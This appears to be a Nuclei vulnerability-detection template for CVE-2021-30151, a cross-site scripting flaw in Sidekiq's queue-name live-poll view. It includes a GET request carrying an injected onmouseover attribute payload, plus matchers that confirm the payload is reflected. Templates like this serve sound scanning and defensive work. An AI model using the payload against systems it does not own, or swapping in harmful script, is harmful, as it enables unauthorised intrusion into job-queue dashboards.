id: CVE-2021-30151

info:
  name: Sidekiq 5.1.3 and 6.x-6.2.0 - Cross-Site Scripting
  author: DhiyaneshDk
  severity: medium
  description: Sidekiq through 5.1.3 and 6.x through 6.2.0 allows XSS via the queue name of the live-poll feature when Internet Explorer is used.
  reference:
    - https://github.com/mperham/sidekiq/issues/4852
    - https://nvd.nist.gov/vuln/detail/CVE-2021-30151
    - https://lists.debian.org/debian-lts-announce/2022/03/msg00015.html
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2021-30151
    cwe-id: CWE-79
  tags: cve,cve2021,xss,sidekiq

requests:
  - method: GET
    path:
      - '{{BaseURL}}/sidekiq/queues/"onmouseover="alert(nuclei)"'
    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "onmouseover=\"alert('nuclei')"

      - type: word
        part: header
        words:
          - "text/html"

      - type: status
        status:
          - 200